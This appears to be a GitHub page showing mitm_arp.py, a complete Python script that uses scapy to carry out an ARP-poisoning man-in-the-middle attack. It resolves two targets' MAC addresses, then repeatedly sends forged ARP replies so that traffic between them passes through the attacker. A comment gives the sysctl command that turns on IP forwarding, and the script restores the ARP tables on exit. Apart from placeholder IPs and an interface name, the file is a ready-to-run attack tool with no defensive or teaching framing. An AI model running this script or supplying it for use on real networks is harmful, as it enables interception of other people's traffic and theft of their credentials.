-
Notifications
You must be signed in to change notification settings - Fork 0
/
mitm_arp.py
82 lines (70 loc) · 2 KB
/
mitm_arp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from idna import intranges
from scapy.all import *
import time
import sys
# sysctl -w net.ipv4.ip_forward=1
def get_mac(target_ip, interface):
ans, unans = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=target_ip),
iface=interface,
timeout=2,
verbose=0,
)
return ans[0][1][ARP].hwsrc
class ARPpoison:
def __init__(self, target1_ip, target2_ip, interface):
self.target1_ip = target1_ip
self.target1_mac = get_mac(target1_ip, interface)
self.target2_ip = target2_ip
self.target2_mac = get_mac(target2_ip, interface)
self.interface = interface
def poison(self):
send(
ARP(
op=2, pdst=self.target1_ip, hwdst=self.target1_mac, psrc=self.target2_ip
),
iface=self.interface,
verbose=0,
)
send(
ARP(
op=2, pdst=self.target2_ip, hwdst=self.target2_mac, psrc=self.target1_ip
),
iface=self.interface,
verbose=0,
)
def restore(self):
send(
ARP(
op=2,
pdst=self.target1_ip,
hwdst=self.target1_mac,
psrc=self.target2_ip,
hwsrc=self.target2_mac,
),
iface=self.interface,
verbose=0,
)
send(
ARP(
op=2,
pdst=self.target2_ip,
hwdst=self.target2_mac,
psrc=self.target1_ip,
hwsrc=self.target1_mac,
),
iface=self.interface,
verbose=0,
)
def run(self):
try:
while True:
self.poison()
time.sleep(1)
print("*", end="")
sys.stdout.flush()
except KeyboardInterrupt:
print("Restauring mac....")
self.restore()
interface = "interface_name"
ARPpoison("ip_address_1", "ip_address_2", interface).run()